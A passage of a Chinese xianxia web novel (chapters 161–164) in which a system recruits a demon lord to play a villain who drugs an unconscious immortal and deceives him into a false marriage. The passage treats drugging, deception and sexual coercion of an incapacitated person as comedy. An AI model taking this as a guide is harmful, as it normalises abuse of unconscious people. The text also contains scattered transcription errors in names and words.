可惜了他耗费近百年才养出了这百斤肉身,如今外焦里嫩地躺在地上,闻着还挺香。只是仅此一遭,屠天霸非但没有跟炼魂鼎分离,反而融合地更加彻底了。 他蹲在自己的肉身边,伤心得险些哭出来。 半晌。 屠天霸奋力忍住眼泪,抬眸往周遭扫视了一圈. 天雷过境,本就寸草不生的地方更是四分五裂,连绵山峦的棱角都被劈平了,更别说他身处的小山与洞府了。 伤心之后,是暴怒与怨恨。 他真恨自己没有一照面就杀了那个.可恶不知道那人叫什么,总之!长得好看的男的,真该死! 他以后都不会对穿白色衣服的男人笑了! 屠天霸先把自己香喷喷的肉身收了起来,随后在附近几座山头勘察了一番,没有发现那个男人的残肢断臂,忍不住恶狠狠地念叨着, “最好被劈成灰了." “不然本尊一定会找到你,让你后悔出现在我面前!" 说着说着,屠天霸又悲从中来,“遭了,似乎跟炼魂鼎的融合更深了,心魔的诱哄声也随之变多了…” 要不然, 他怎么会听到一道陌生古怪的声音在他脑中叮了声,然后说些自己压根听不懂的话? “宿主,你好。” “本系统是前大哥扮演系统N001,由于该书中世界的“渣男前大哥’ 角色缺位,特此绑定宿主补全涉及该角色的关键剧情,待到任务完成后.” 系统空间内。 白色光球的电子音越来越小。 绑定新宿主的引导语还没说完,祂看着光屏上显示的人像以及旁边自动生成的宿主基础信息简历,忍不住"卧槽了一声,“我咧个溜溜球,绑到本地NPC了! 告别了上一任宿主,N001拉着子系统进行数据跃迁,准备绑定新一任宿主,再送他前往相应的濒危世界 万万没想到, 祂绑了个原著里的角色。 该书中世界衍自于一篇修仙小说,还是师徒虐恋文 主角聂无洄是归清门的仙君,他的性格清正,瞧着冷冽,心中却怀有大仁大爱,必要时,愿意为了大道而舍身忘死 故事开篇,便是主角聂无洄与魔尊居天霸的一场大战。 小说里没有写打斗的起因,只说魔尊身死殒命,而聂无洄则受了重伤,下落不明 故事的主角攻是聂无洄唯一的徒弟,顾宸。 顾宸苦苦寻找师尊,找了整整五年,才发现师尊重伤失忆,掉落河谷后,被一名心术不正的医修救起。 在聂无润管迷的空档,医修认出他是世间罕见的清气之体,效用与炉鼎有些相似,但跟炉鼎能够增长另一方的修为不同-一与清气之体交合,能够净化对方体内的污油之气,亦或是提纯对方的灵棍。 医修是个修仙的野路子,正好灵根混杂,若非偶然得了本秘典,他也不会知道世间还有这一体质,当下便起了歹念。 趁人还昏迷着,他给聂无洄喂下了丹蛊。 M广心,爱,大 医修心中大喜,果断决定趁人之危,哄骗两人是一对恩爱道侣,又驱动丹患促成好事,此后五年夜夜欺辱聂无洞,利用他的体质为自己净化提炼灵根,又流连于他的容貌,极尽下流之事 就在第五年。 主角攻顾宸终于找到师尊聂无洄,却恰巧撞见了医修与他的双修现场,当即心身震荡,不管不顾地破门闯入,导致聂无洄恢复记忆 恢复记忆后,聂无洄怒剁医修的那活儿,又将其一剑穿心。 这五年的遭遇,成了师徒间的秘密。 只是顾宸撞见过聂无洄的旖旎情态,终日不可忘,方才知道自己对师尊起了大不敬的心思 此后的剧情,无非是攻受两人虐恋拉扯,而医修这位早就杀了青的渣男前夫哥则是成为了顾宸心中的一根刺,时不时拿出来吵架用的 小说的结局 两人几经波折,最终HE. 这不重要。 重要的是. N001正需要宿主扮演书中这位下流、猥琐、人面兽心的医修,然后在最后一个任务中被单方面离婚和丧偶,但现在 问题来了。 宿主,怎么,会是这个人啊!!! 白色光球飞快地浏览了一遍宿主简历,两个啾啾抱着圆圆的脑袋无声呐喊,然后一把将蓝色光球推到光屏前,事不关己地吹了个口哨, “你不是想"叮’吗?" “那你来''叮’吧。” 蓝色光球:【.】 161、Chapter 161 天雷劫后, 满地狼藉. 老实说,屠天霸不记得自己是如何渡过天雷劫的了。 他只知道自己眼睛一睁一闭,修为就从合体期晋升为大乘期,精心养护了近百年的血肉又掉了个干净,骨架子都快长出炼魂鼎身上的恶鬼纹了。 血雾化身之后,他再度变得面目可憎。 屠天霸沉默地收起巴掌大的梳妆镜,暗暗咬牙。 他钻研了百多年的分离之法,绝对没有问题! 错就错在那个白衣男人,偏偏要在这般重要关头出现在他面前,扰乱他的道心,害得他再度被心魔操控,必须全神贯注地与之缠斗,才能唤回神智,从而忽略了周遭现况。 雷劫竟然就这么过去了? 怎么不把他也一道劈死呢?? 着实可恶! 屠天霸垮着张小脸,满腔怒火怎么都压不住,致使鼎内冤魂愈发活跃地在他耳边念叨-一说是鼎内冤魂,其实都是他与邪兵融合共振后产生的心魔. 炼魂鼎, 原名未知。 当初蓝道子在机缘巧合之下得到这一邪兵,便为它取了这个稍显恶俗的名字,不过倒也跟这鼎散发出来的气息相符。 阴邪、贪婪、渴望着吞噬万物生灵。 蓝道子感应到炼魂鼎的渴求,猜测它极有可能生出了灵识,定是某位上古大能遗留下来的宝贝,当即喜不胜收地为它寻觅“食材”,待炼魂鼎满足之时,他便能事半功倍地收服此息。 他怎么都没想到,自己居然会被一个筑基期的小子反杀。 屠天霸山没想到。 其实他并不懂蓝道子口中的''天生邪骨是什么意思,只是从小活泼了些,调皮了些,精力活泛了些,直至在鼎中苦熬七七四十九日,他才知道自己的骨头原来是黑色的。 但他坚定地认为,是被熏黑的。 毕竟这方鼎也是乌漆麻黑的,难看得要命。 屠天霸盘腿坐在碎石上,心里很发愁。咋办呢?或许是人鼎融合程度更深的缘故.他现在不仅骨上雕花,心魔的数量竟还多了两个?不过好消息是,新的心魔跟其他心魔都不一样。在一片催促着他大开杀戒的鬼哭狼嚎中,那两个心魔只是说着些救人费解的话语,什么宿主啊,系统啊,扮演角色补全剧情之类的,在众多异口同声的“杀杀杀中,显得格外与众不同。这让屠天霸不免心生好奇。于是,他用手肘支在膝侧,手掌撑住下巴,听着后头出声的那个心魔小小声地叮了一下,向自己解释道:【宿主,那个.】 【这个世界其实是书中世界,衍自于一本仙侠虐恋文,现在有个重要配角缺了位,要是置之不理的话,你所在的世界会逐渐崩溃,直至彻底消亡的,所以需要你来扮演这个重要配角】 系统空间内。被硬推出来的蓝色光球硬着头皮说完这段话,骤然陷入沉默,跟前两任宿主不同,这位宿主本就是这个书中世界的人,根据宿主简历上描述的内容,对方还是一个心很手辣的邪道魔尊,它吃不准这种人物得知自己其实是书中人物之后,会有什么反应它顿了顿,又补充了一句,【身为这个世界的一份子,宿主拯救世界就是拯救你自己!】跟蓝色光球想象的不同,屠天霸觉得这次新生的心魔说话还挺有意思的,难得心平气和地拒绝道:“我不要。 这个世界怎么样跟他有什么关系啊? 他才没这个闲工夫。 闻言,蓝色光球顿时卡壳,回身看了一眼正在打呼噜的主系统,心如死灰地对着光屏上那张恶鬼脸,学着主系统以往对宿主的语气,颤颤巍巍地鼓励道 【宿主,完成扮演任务有奖励哦】 屠天霸换了一只手撑下巴,好奇地反问: “什么奖励?" 还是第一次有心魔说要给他奖励,好新鲜啊。 蓝色光球老实道:【经检测,宿主肉身损毁,如果宿主成功补全书中缺失的剧情,就能获得[苏生]奖励,让宿主重获肉身!】 屠天霸倒吸一口凉气,然后再次拒绝。 他估摸着,以往都是炼魂鼎的阴邪魔气在影响他的心智,催生了诸多邪恶心魔,这回极有可能是他自己的特质融于鼎中,以至于新生心魔说出了自己的所思所想。 他多想要拥有一具白白胖胖的肉身啊! 但心魔的话,是不能听的。 屠天霸有着丰富的跟心魔打交道的经验,心中的新奇很快退去,当即便要起身,就见眼前墓然出现了一幕蓝色光屏,上面显示着密密麻麻的小字,顶端是一行加大的标题 《无洄》 标题底下,是几行剧情介绍。 屠天霸一眼就看到剧情简介的首行写着: [聂无洄虽成功将魔尊屠天霸诛杀,自己却重伤伤 屠天霸:“重伤???” 屠天霸:“没死啊!!!" 屠天霸双眼通红,一屁股坐下:“细说!“ 定是他晋升大乘期,连带着心魔的神通也精进了,不仅能在他耳边言语诱惑,还能幻化出这般从未见过的奇异光屏,说不定是觉醒了预知之术。 聂无洄。 屠天霸听过这个名字,三百年前他在外游历,时常跟围攻他的正道修士交手,那些人打不过他,有些哭着求他饶命,有些死到临头还唧唧歪歪,指着他的鼻子骂, "魔头,吾等确实不敌你,若不是归清门的无洄仙君闭关不出,你这种煞星早就被斩于不驯剑下了! 屠天霸听在耳中,莫名有种即视感。 以前村里有小孩儿跟他打架输了,也是这么喊的 “给我等着,下次我喊我爹过来收拾你! 后来,屠天霸打听了一下,方才知道聂无洞其人,是正道魁首归清门下的长老,在百八千年前亦是不世的修仙奇才,为人清正仁义,有君子剑仙的美名。 屠天霸仔细一想,这不就是正道修士里的扛把子吗? 尽管屠天霸不认识聂无洄,但从这些正道修士口中知晓这人,还是觉得有些晦气,但很快他就专注于如何将自己与炼魂鼎分离,彻底把这个名字抛到脑后了。 说起来,当时他还以为聂无洄是个头发花白的老头子呢。 好好好。 新仇旧恨加在一起,屠天霸决定先顺着心魔的意思,仔细将这光屏上的话本看上一遍,他盯着光屏上的标题,冷哼一声。 原来就你叫聂无洄是吧? 给我等着! 系统空间内。装睡的白色光球瞅准时机将小说光屏推送出去,深藏功与名啧。 实习统,不行。还得是祂。N001伸出小啾啾拍了拍自己圆滚滚的胸脯,有些发愁地想着 怎么绑定到这个癫子啦? 上次来这个世界,他好像正在灭世来着。哦。那时候,他也已经不叫屠天霸了 162、Chapter 162 接下来的半个时辰里,N001迎来了统生至今最艰巨的挑战. 该濒危书中世界是修仙背景,比起现代文明社会的法律规范,这个世界盛行的是“强者为尊’,都说修者本就逆天而行,那么互相争夺资源等斗争更是家常便饭了。 任务失败的风险系数非常高。 况且,这一任宿主显然不是个精神正常的家伙。 系统空间外。 宿主居天霸正在阅读原著小说。 由于原著中的下流鬼医这一角色的数据包彻底损毁,因此系统在绑定宿主后,会自动将宿主的姓名填补为渣男前夫哥的姓名,后续才能将原著故事完整显示在光屏上。 但是,现在有一个问题。 由于''屠天霸”这个名字已经被记录在书中了,因此后台程序自动填补的名字是宿主上一个使用过、被天道所承认的旧名。 屠小明。 信偏这个世界的宿主本就是书中角色,还是开篇就死在主角剑下的背景板反派,并且这个背景板反派的脑子还不正常,只要听到、看到自己曾经使用过的名字便会引起心魔暴乱,陷入神志不清的癫狂状态。 所以… 系统空间内。 光屏实时投映着宿主的动向,音画同步无延迟一一两个光球沉默地看着宿主刚读了几行字,就大喊大叫地对着空气打拳,将遭受过天雷劫的地方炸得更加狼藉,然后愤怒地狂抽自己巴掌。 癫狂过后。 宿主像是突然回过神一般,茫然地揉了揉自己的脸,然后低下脑袋四处看看,发现脚下已经没有一块好地能供自己盘腿而坐了,便站着继续阅读光屏上的小说. 还是开头那几行字。 此后的时间里,以上的过程反复发生。 一小时了! 宿主居然连第一个篇章都没看完! 天雷劫之后,娃娃脸少年的样貌有了些变化,尽管他仍长着那张稍显圆润稚气的面孔,杏眼微翘,可他的皮肤呈现出不正常的青灰色,宛如一具冰冷的尸体,不见一丝丝活人气 眼眸猩红,指盖漆黑。 当他作出气鼓鼓的表情,没有人会觉得可爱。 因为少年的周身缭绕着一层浓稠的血雾,这血雾像是活的一样,时而凝聚成狰狞鬼面,时而又化作扭曲的利爪,无时不刻撕咬着周遭的生机。 只过去了三百年。 这方圆万里的灵气便被吃了个干净,生机断绝。 少年直挺挺地站在那里,整个人仿佛与这片死寂破败的土地融为一体,血雾在他身边翻腾,放肆地宣泄着凌冽的杀意,哪怕施展了隐藏容貌的变身法术也无用。 虽生了一张可爱面孔,却教人发自内心地恐惧。 屠天霸有些后悔了。 尽管那两个心魔说话新鲜又有趣,听起来跟其他心魔都不一样,但他捂着脸沉默了许久,沉吟道: "…要不然,还是改天再看吧?"“其实本尊也不是那么小心眼啦,非要报复什么的。如果系统也有下巴的话,蓝色光球的下巴大概早就掉到地上了,它忽然觉得做个不务正业的辅助子系统也没什么不好的,起码不用蹲在光屏前看着宿主抡起膀子狂抽自己大嘴巴子还是循环播放版。 蓝色光球:[】 做系统的工作压力好大。 好想回厂里躺着。 早知如此,它当初就应该烂在厂里。蓝色光球默默后移,蹲在主系统的身边,小声求救:【前辈,现在该怎么办?看样子,这位宿主连原著都阅读不了,那我还怎么发布第一个任务啊?】N001也不是真的要子系统来顶包,只不过随手CPU一下,顺便思考一下自己接下来的对策罢了,眼下有了主意,祂还要长吁短叹地说一句,“看吧,前辈就是前辈。” “学着点,你以后做了主系统可不能这么没用哦。" 话里话外,把自己摘得干干净净,仿佛全然忘了是自己把子系统推到光屏前的了。 嗨呀。 祂只是一个洁白无瑕的球球,能有什么坏心眼?公司不发工资,偷偷赚点外快而已啦。天雷劈开了乌云,几缕微弱的光线穿透这层阴霾,缓缓下落,映照在天底下这片支离破碎的大地上。当然,这并非天雷的全责。屠天霸站在一个巨大的坑洞里,周遭尽是碎石与齑粉,空气也变得灰蒙蒙一片,仿佛起了雾。待脸上那阵火辣辣的疼消下去了,他忽然发现眼前看了教人脸疼的光屏啪的一下消失了。紧接着,一本书册凭空出现在他身前。书册略厚,封面以深速的夜空为背景,星辰点点,银河如练。夜空的尽头,隐约可见一座巍峨的仙山,山巅云雾缭绕,霞光隐隐。而画面中央,一位白衣仙君傲然而立,衣袂翩跹。仙君的面容清冷如玉,透着一股超然物外的气质。他身姿挺拔如松,手中执着一柄断剑,似乎正在与脚下那片泛着猩红色的黑海抵抗,而黑海中则闪烁着两粒幽光,仿佛对白衣仙君怒目而视,肃杀的气息扑面而来。屠天霸的眼睛一下子就直了。这话本的封面极为精美,明明是以水墨技法绘制而成的,却将封面上的人物画得神形皆似,相如生,以至于他一眼就认出来了,这岂不就是跟自己仅有一面之缘,却结下大仇的聂无润?哼。本尊已经记住你了。等着!思及此处,屠天霸视线微移,就见封面的上方,与画中人同名的书名以古朴的书法笔画写就,字体苍劲有力-《无洄(修订版)》 屠天霸鼓起脸,有点不高兴。凭什么这本书的封面只单独画了这个可恶白衣男,书名也是对方的名字,而他堂堂戮天宗:邪骨魔尊:屠天霸居然在剧情简介首行便被冠以一句''成功被诛杀’?这竟是本颠倒黑白的坏书!就在这时候。屠天霸恍然听见先前那道更为活泼的心魔开口道:“介于宿主的阅读障碍,本系统特地为宿主准备了修订版哦,这回肯定没有问题啦。闻言,居天霸抬手接过悬空的书册,随手翻开一页屠医修垂眸望着榻上昏睡的人,青玉药杵在掌心转了转,溅出几点朱砂似的药汁,他故意拖长尾音,看着男人纤长的睫毛在眼脸投下颤动的阴影,缓声道:“夫人,你醒了?"] 屠天霸:“???” 哈?夫人? 他接着往后翻。 不料后面的书页全然空白,一个字都没有了。 屠天霸不满地甩了甩手里的书,质问将书幻化出来的心魔,“怎么回事?只有这么点?还有啊,为什么我将要扮演的角色怎么还要喊他夫人,恶心,真是恶心!" N001不慌不忙,解释道: “后面的内容需要宿主完成第一个任务才能解锁哦!" “宿主的首个任务便是前往[招幽河谷]捡回重伤昏迷的聂无洄,先是趁对方昏迷,给他种下丹蛊,让他无法使用法力.……" “嘿嘿,然后等他醒来,你就对他说出书上那句关键台词,说自己是他的夫君,你们原本是一对思爱道侣,这样聂无润只能任你施为,还求救无门,小妇似的在你的手底下受尽委屈啦!" “这难道不比杀了他更有趣吗?" 屠天霸听着,觉得有些道理。 主要是他的耳边时刻充斥着杀戮之音,显得这道心魔的建议格外清新脱俗,让人欲动。 不得不说,这心魔果真有些神通,说着什么宿主,出发前我先给你改一下数据哦,话罢便施展了一道幻身之术,居然将他满身的魔气掩盖住了。 屠天霸接受良好。 毕竟心魔的修为皆出自于他本人,他以前办不到,或许是因为功力不到火候,如今他晋升大乘期,自然愈发炉火纯青了。 屠天霸举着梳妆镜,左看右看。 镜中的少年杏眼圆睁,看不出半分堕魔之相。 他的容貌未变,只在鼻梁处多了一粒暗红色的小痣。 心魔说,这是为了掩盖身份,只要多了这粒痣就无人能认出他的真实身份,以便他顺利完成任务。待到全部任务完成之后,他不仅能狠狠出一口恶气,还能重获肉身呢. 想到这里,屠天霸忍不住感慨了一声, “不愧是我。" 连心魔都如此机智,比炼魂鼎那些欠抽心魔聪明多了! 自我欣赏了好半响,屠天霸收起梳妆镜,一跃跳出深坑。但他没急着前往河谷,反而如同凡,夫俗子一般夸腰拍着身上的灰,一边动作,一边轻飘飘地道:“看了那么久,不出来吗?" 话音刚落。 就见不远的虚空处显现出一抹窈窕的人影。 下一瞬。 那道人影便出现在屠天霸的脚边,扑通一声跪地,摄人心魄的娇媚面容微微汗温,“属下金柳衣并非有意窥探尊上,只是先前那阵天雷动的声势过于浩大,属下忧心尊上,才斗胆前来 系统空间内。 白色光球抱住脑袋,很想喵喵大叫。 修仙世界真是防不胜防,刚哄完宿主就滑铁卢。 而且这个配角怎么会出现在这里呀! 金柳衣。 原著小说后期有正邪两方的大战。 此人便是魔道阵营的一个重要配角,她在文中着墨最多的篇章,便是撞见顾宸向师尊聂无洄表白被惨拒绝的现场。 于是,她趁机接近顾宸,想要借此打击魔修最大的敌人,聂无洄。 她做到了。 屠天霸只看了前头几个篇章,不知道眼前这个属下在原著后期还有戏份,而他这个尊上却活不过剧情简介 此时此刻,他只有一个想法。 “你喊我尊上?" 屠天霸问话的语气透出几分不快,他以为自己掩盖气息的法术还不够精进,漏了马脚,又听金柳衣快速接过话头,“不知尊上修炼了什么秘法,方才只是一刹那,属下便完全察觉不出尊上的气息了,若不是属下此前便在附近守候,想来跟尊上擦肩而过也不可辨别!恭喜尊上!"说到这里,金柳衣冷汗倍增。 ….她不该来的。 “属下斗胆请问,是否通知宗门上下为尊上备礼庆功?" 屠天霸一口拒绝。 “不用啦。" 语气极其谦恭。 他先是咳嗽了两声,让这位女魔修抬头,对着这张冷汗岑岑的脸歪头解释道:“因为你认错人啦,我不是那位英俊威武的魔尊哦,我只是一个路过的普通医修罢了.”金柳衣仰着脖子,脑袋转得飞快,忙不迭应道:“是,属我定然谨言慎行,绝不会暴露医修先生的身份与行踪,今日我并未在此见到任何人。" 下一秒。 她就听少年沉吟半响,自言自语道: “屠医修这个名字好像不错诶?" 金柳衣:"……" “你觉得呢?" 金柳衣:“非常不错!!" 尊上这是想干嘛啊? 好慌。 再拾头时,金柳衣发现自己身前已经空无一人,不由得长呼出一口气,又贪恋此处残留的魔气灵息,有些不想离去,却又恐惧那人去而复返,一言不合将自己诛杀。 戮天宗无人不知- 尊上是个疯子。 一个极其强悍的疯子。 最可怕的是 永远没有人能猜透疯子在想什么。 招幽河谷。 天色晴明,风温和。 此时尚早,穹顶湛蓝明媚,悠悠的白云倒映在清澈河面。河流不深,水声很舒缓,两侧的山谷石壁缀满了绿意。 空气也清新。 屠天霸站在河边,颔首注视着不远处的那抹趴在河岸边的潮湿人影,一边抚摸着下巴,一边思索着 可恶。 这什么狗屁仙君。 屁股怎么这么大。 肉一定很多。 羡慕、嫉妒、恨! 他也想要!!! 163、Chapter 163 屠天霸的记忆像个破了洞的布袋子,东漏一点,西漏一点,尽管他已经不记得雷劫始末,却还记得就是这个狗屁仙君坏了自己筹谋百年的大好计划,况且这人还口口声声说要杀了自己?试想,你一个人好生呆在家里,全心全意地研究治疗之法,突然有个人出现在你家门口,没头没尾地问了两句话,便说要杀了你,你气不气?屠天霸:“气死了!"其实被正道修士喊打喊杀这种事,屠天霸早就已经习惯了,不管那些人事前说得有多么正义凛然,铁骨锋铮,可到最后,无一例外被他反杀,然后被他诸脑后。不留半点痕迹。偏偏这个狗屁仙君没有死。而屠天霸却自觉损失甚大,难以挽回。最让他心疼的,便是那具培育了近百年的肉身。那是屠天霸取用品相最好的肉灵芝覆在自身骨架上精心培育的,要知道他的骨身与邪鼎融合为一,充满了明邪魔气,号称能“活死人肉白骨”的灵芝仙草不被他毒死,全靠他日夜投喂灵株但凡有一丝懈怠,那肉便保不住了。足足一百年,才长出了这么些啊!再者说,屠天霸并不像寻常修士那般惧怕死在天雷劫下。他只接受两个结果:要么借助天雷将炼魂鼎分离出去,要么他跟这邪兵一同被雷劫劈成灰,什么都别剩下。这两个设想都源自于同一个初衷,算是殊途同归了。他就想要个清静。看看现在英俊的屠天霸获得了什么呢?近百斤烤得香喷喷的灵芝肉身。晋升为大乘期的修为。且不说动不动就被魔气侵染枯萎的灵芝肉身多难养护,屠天霸一想到自己需要突破大乘期,晋升为渡劫期才能迎来下一回天雷劫,就忍不住眼前一黑。坐观整个修真界,上一次出现渡劫期修士都是几千年前的事情了。屠天霸掰着手指头盘算着。自己的修练速度非一般修士可以比排,就算他顺利突破波劫期,并再度喂养出一具户白胖的灵艺肉身,可问题是,他的修为越高,炼魂果的修为也随之高张,俏若天雷没有格一人一鼎分开,而他也没有被劈死,反而顺利渡动飞升他岂不是要永生永世都跟炼魂鼎绑定在一块儿?!思及此处,屠天霸顿时杀心渐起。耳边亦是一片附和之声。然而,其中却有一个心魔公然唱起了反调,操着一口极为特殊的嗓音说道:“宿主,人死了就六根清净了哦,你可千万不要这么轻易地放过他!一定要狠狠折磨他!"居天霸觉得这个机智心魔说得对。杀了这个狗屁仙君,实在不能解他的心头之恨。 此时正是夏末时节,天光大明。 山间的绿意浓郁极了,河谷里的风透着冷,屠天霸不情不愿地将倒伏在河边的昏迷男人救起来,只是他刚把人翻移到河岸边的一块平坦巨石上,就听到铿锵一声 屠天霸定晴一看 原来是这狗屁仙君的右手紧握着一柄断剑。 正是书册封面上绘制的那柄仙剑。 白衣男人在水里浸了有些时候,模样狼狈至极。他浑身湿透了,看不出伤在何处,那张苍白的脸仍旧漂亮得惊人,宛如一片破碎的月光倒在屠天霸脚边 下一瞬,他手中的断剑忽然发出清鸣。 似乎在向身边人打招呼。 屠天霸只觉得自己被挑衅了。 定是这狗屁仙君趁他被天雷重劈的时候提剑砍他! 这是下了死手啊,剑都砍断了! 屠天霸在心里记了一笔又一笔的账,手一翻,抽出怀中那本书,飞快地从头看起来——虽然魔尊居天霸在开篇就“被诛杀”了,但章未又出现了一个居医修,将重伤昏迷的人捡起来了。 书里的医修是个不入流的散修,偶然路过此地,本来想将昏迷之人带回去做个药人,却发现对方的体质不一般,当即起了心思,给对方喂下阳塞气脉的丹蛊,又打下了邪修常用来控制仆人的咒的 “清气之体?" 满打满算,屠天霸如今才三百岁出头,在修真界勉强算是个年轻后生,但他七岁到十七岁在蓝道子的阵法里苦修,蓝道子教他修炼,拿他当炼器材料培养,虽不拘丹药灵石,却很少教导其他 后来的十年,屠天霸独自游历,闯出了魔头的称号。 此后三百年,他在自己的地盘深居简出,为了解决人鼎合一与心魔缠身的问题,看了许多杂七杂八的典籍,其中就有一本《天地说》里提过这种体质. 据说拥有这种体质的人深受天道眷顾,定是千年难能一见的修炼奇才,虽然比顶级炉鼎体质更罕见,却没人敢觊觎,因为这般体质的人修为绝对不低,并难以被探查出端倪. 除非身受重伤。 屠天霸收起书册,视线再度落到狗屁仙君身上,他将真气凝聚在眼眸中,果然发现游散在此处凡间河谷中的微薄灵气正往白衣男人的体内聚,自发地为他修补受损的心脉。 不知为何,屠天霸本能地感到一阵饥饿,还有种被人抢了食的不爽感。这似乎是炼魂鼎的感知,正隐隐催促着他将眼前之人炼了。 但他是不会屈服的。 机智心魔说得对。 不能让这个人死得那么容易! 看着看着,他恍然发现这狗屁仙君不仅长了一张过分俊俏的脸,身形还足够高挑。由于他身上的白衣被河水浸透,无比贴合地覆盖这他的身体曲线,所以屠天霸看得很分明。 虽然这人生得腰细腿长,但其他地方 屠天霸好生羡慕,只恨自己长不出来。 他也想做个胸襟鼓鼓的好汉子啊! 这些他想要拥有,却无法拥有的特质善加在一起,出现在这个人的身上,让屠天霸对狗屁仙君的观感愈发不佳了。 简单用一句话概括便是: 嫉妒令他面目全非。”.哼。" 机智心魔似乎察觉到他的不悦,以及隐藏得极好的微微心酸,当即开解他,“哎呀,等宿主给他下了丹蛊,打下烙印,还怕不能将人玩弄于鼓掌之中嘛?" 屠天霸点点头。 于是,他道了声 “说得不错,那什么丹蛊要去哪里找?"“我要给他喂一整瓶。 沉默两秒。 机智心魔欸了一声,反问:“等下等下,我刚才给宿主修改数据了啊,按道理来说,你现在应该有了原著渣男前夫哥的人设记忆吧?以及该人设附带的装备物品?"“丹蛊应该在你身上吧?"屠天霸的神情迷茫了一瞬。 有吗? “我并没有凭空出现一段记忆,更没有多出什么储物灵宝,"屠天霸想了想,自行掏出一瓶丹药,“问题不大,我之前炼了许多不同功效的丹药,其中就有跟书册上所形容的丹蛊药效差不多的.…. 说干就干。 屠天霸捞起袖子,一手掰开狗屁仙君的下巴,另一手直接将整瓶丹药灌了进去,眼见丹药都堵在对方的嗓子眼里,他又掏出一瓶药水,好让丹药顺利进入这人的肚子。 这瓶药水的功效. 唔,忘记了。 就当屠天霸冥思苦想之际,忽然感受到掌下的喉结上下滑动了几个回合,弧度夸张,似乎正将满嘴的东西往下咽。 两息之后。 他听到了一道极轻的咳嗽声。 “咳、咳.…" 屠天霸顺势低头,垂眸看向发声处。 他撞进一双漾着水汽的眼。 清澈、空白、茫然。 与此同时,机智心魔正在疯狂提醒他 “宿主,关键台词!" 屠天霸张了张嘴,卡壳,闭上嘴。 隔了一秒。 他又张开嘴:“狗屁、啊不是,夫、夫人…” 紧接着,他又闭上嘴……的。 现在才想起来自己不是断袖 164、Chapter 164 屠天霸拧着眉,有些小纠结,心魔幻化的书册确实具有预知效用,他略施法术,不过几息的功夫便抵达了书中所说的招幽山谷,果真在河岸边发现了昏迷的狗屁仙君。按照机智心魔所言,书上的内容大概可以理解为''此世应循的发展轨迹’,可现在却出现了两个变数。首先就是书中描述的那位趁人之危的医修方才心魔刚才着急忙慌地说什么“检测”,“扫描,然后大呼不妙,说这个濒危世界受损严重,消男前夫哥的人设数据没办法完全覆盖他原本的数据信息,只能让宿主披着光杆马甲上阵了。变数之二,便是他这个开篇就死在狗屁仙君剑下的邪道魔尊。屠天霸非但没死,修为还上了一个台阶,恐怕整个修真界都难寻敌手,要知道数千年以来,大乘期的修士寥寥无几,况且他神魂与邪兵相融合,十分抗揍 没看见雷劫都劈不死他吗? 狗屁仙君的剑都砍断了,他身上连个疤都没留下。 倒是多了两个心魔。 屠天霸暗自称呼这两个与众不同的心魔为机智心魔”与“愚钝心魔”,机智心魔能说会道,句句都说在他的心坎上,话里话外的意思却跟墨钟心广所说的拯救世界没什么两样 都是哄他扮演书上的医修一角。 以及,不让他对这个狗屁仙君痛下杀手。 对此情形,屠天霸有个小小的猜测。或许,这两个特殊心魔的产生不单单是因为他境界提升,从自身对重归宁静的渴求中诞生的,也可能像那个狗屁仙君所说的-此世天道感应到灭世危机,却见那么多正道修士都没能斩杀得了自己,所以才趁着天雷劫,往他脑子里塞了一缕意念。这缕意识混入他的心魔中,以利诱之,让他扮演医修,引导此心按照既定得未来发展,事成之后便能重新获得一具肉身,可到那时,他作为屠天霸到底能不能得偿所愿呢?看那书册,恐怕狗屁仙君才是天命之人。 头疼。 动脑子头好疼。 对于狗屁仙君所说的自己可能会灭世,屠天霸深信不疑。 若是再没办法解决自己的“病症’,恐怕他真的要忍耐不下去,听从心魔日日催促的那般,见人就杀,杀到世间再无生灵为止。 这三百年来,屠天霸都不知道自己是怎么熬过来的,用一个成语形容便是"度日如年’,换算下来,他岂不是已经苦熬了数万年之久? 思及此处,屠天霸便心有戚威。 …还是先顺着心魔所说的任务行事吧。 若有变故,再把它挖出来也不迟。 只要能发挥作用,就是好心魔! 他不挑的! 只是先前听机智心魔说得头头是道,屠天霸也觉得让狗屁仙君在自己手下看尽脸色讨生活,想想就觉得爽快极了,但他当时只顾着爽,又为自己要喊仇敌为夫人’这件事犯恶心.… 重点是仇敌,而不是男人。 以至于他现在才反应过来 自己这位仇敌可是个货真价实的男人。 可恶啊。 一定是刚才抽耳刮子太用力了。 他一时半刻都没想起来自己压根不喜欢男人! 尽管屠天霸入道已三百余年,按理说应当斩尽前尘,了断前缘,但他与一般修士不同,仍旧保留着过去身为凡人的观念与情感,发自内心地认为娶妻是人生一大事。 曾几何时,他还想过未来要娶个温柔贤惠的漂亮夫人呢。 如此美好的幻想,居然被这狗屁仙君糟践了。 系统空间内的白色光球警了眼即将拉满的进度条,当即掐着一把甜甜的电子音催促道:“宿主,第一个任务就剩最后半句话了哦,没想到宿主效率这么高,不愧是我的宿主~ 屠天霸理所应当地给对方又记上了一笔。 见宿主久久没出声, ….有点慌。 宿主的精神状态着实堪忧。 所以说,祂还是先确保扮演任务能够顺利完成吧。 恰好宿主本就是书中世界的人,不存在完成任务后跟主角相隔两个世界的情况,再者说,虽然修仙世界危机四伏,却也代表着机遇,后续再相办法让宿主放弃任务奖励的所有权好了。 N001,你可以的! 白色光球挺起胸膛,为自己加油打气。 下一秒。 祂就听到宿主与自己说了句, “后续的任务该不会要我跟这狗屁仙君交合吧?" “这我可不干。” 白色光球:". 【宿主成功诱哄主角聂无洄同意与自己进行双修,并在结束第一次双修之后,说出关键婚誓词,任务期限为五年。】 祂瞥了眼一旁小光屏上显示的第二个任务: 不要慌,稳住。 N001,你可以做到!!白色光球再次给自己加油打气,语气活泼清甜地问询道:“宿主有什么顾虑吗?本系统一定会为宿主出谋划策的~“因为我不是断袖啊,”屠天霸理所当然地应道,“虽然我并没有娶妻或寻到道侣,但我跟那些吸人精气的魔修可不一样,我是一个洁身自好的好魔修。嗯,其实主要是但凡他身边出现一个会喘气的,他就要竭尽全力控制自己铺天盖地的杀欲,哪儿还有心情谈情说爱?他就这么半死不活地给耽误了。屠天霸真心实意地为自己感到悲伤。 紧接着,他就听到机智心魔反问道: “那宿主有过心仪的女子吗?" 居天霸想了想: “没有。 机智心魔继续问道:“那宿主有过心仪的男子吗?"屠天霸坦言:“自然也没有。“那么宿主既没有喜欢过女子,也没有喜欢过男子,又怎么能如此笃定自己并非断袖呢?"机智心魔十分流利地说着,“其实每个人的心里都有座背背山哦,只是宿主你还没有发现。屠天霸好奇问道:“何为''背背山’?"系统空间内。“意思就是宿主你很有可能是个断袖,但自己不知道…“” 